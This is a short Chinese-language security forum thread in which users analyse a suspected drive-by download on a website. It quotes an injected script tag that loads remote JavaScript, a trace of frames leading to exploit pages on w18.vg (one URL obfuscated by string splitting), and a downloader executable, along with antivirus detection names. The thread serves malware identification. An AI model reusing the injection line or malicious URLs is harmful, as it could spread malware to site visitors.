怀疑有6014网马和realplayer漏洞病毒

卡巴专家

biology.zje.net.cn/dv_rss.asp?s=xhtml&,卡巴没报

fireworld

<script>document.writeln("<script src="HTTP://OFFICE.FAQSERV.COM/faq.JS"></script>");


Log is generated by FreShow.
    [frame]http://office.faqserv.com/faq.htm
    [frame]http://www.59.vc/page/add_54738542.htm
        [script]http://www.59.vc/page/addr.js
            [frame]http://w18.vg/ms.gif
            [frame]http://w18.vg/bf.gif
            [frame]http://w18.vg/xl.gif
            [frame]http://w'+'18'+'.vg/r'+'eal.g'+'if
            [frame]http://w18.vg/lz.gif

qianwenxiang

估计应该是..
http://w18.vg/s.exe

Virus or unwanted program 'TR/Dldr.Tiny.akm [TR/Dldr.Tiny.akm]'
detected in file 'E:\AV\s.exe.
Action performed: Deny access

tanlimo

又是S啊

solcroft

Sign of "Win32:Tiny-NK [Trj]" has been found in "http://w18.vg/s.exe\[Upack]" file.